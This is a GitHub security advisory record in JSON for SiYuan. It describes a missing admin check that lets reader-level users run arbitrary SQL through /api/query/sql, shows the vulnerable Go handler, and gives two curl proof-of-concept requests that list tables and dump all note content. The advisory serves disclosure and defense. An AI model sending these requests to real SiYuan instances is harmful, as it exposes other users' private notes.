{"schema_version":"1.7.3","id":"GHSA-jqwg-75qf-vmf9","published":"2026-03-03T21:17:58Z","modified":"2026-03-23T04:56:06.170184682Z","aliases":["CVE-2026-29073","GO-2026-4592"],"summary":"SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access","details":"### Summary\n/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any  SQL query on the database.\n\n### Details\n\nThe vulnerable endpoint is in kernel/api/sql.go \n\n```go\nfunc SQL(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n\n    arg, ok := util.JsonArg(c, ret)\n    if !ok {\n        return\n    }\n\n    stmt := arg[\"stmt\"].(string)\n    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions\n}\n```\n\nThe route in kernel/api/router.go only uses CheckAuth middleware\n\ne.g (similar)\n\n```go\nginServer.Handle(\"POST\", \"/api/query/sql\", model.CheckAuth, SQL)\n```\n\n### PoC\n\nStart SiYuan with the publish service turned on\n\n```bash\n\n# List out all tables in the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"stmt\": \"SELECT name, type FROM sqlite_master WHERE type='\"'\"'table'\"'\"'\"}'\n\n\n# Extract all user content from the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"stmt\": \"SELECT id, content FROM blocks\"}'\n\n```\n\n### Impact\n- High impact, reader users can query all data in the db including other users notes\n- SQL api is mostly for select queries, but without validation, writes can still happen\n- Malicious SQL can lead to serious performance issues\n\nthis is an auth bypass, the sql feature is for power users but even readers can use it","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20260113130602-4ba64580c29c"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-jqwg-75qf-vmf9/GHSA-jqwg-75qf-vmf9.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29073"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"database_specific":{"cwe_ids":["CWE-862","CWE-89"],"github_reviewed":true,"github_reviewed_at":"2026-03-03T21:17:58Z","nvd_published_at":"2026-03-06T08:16:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}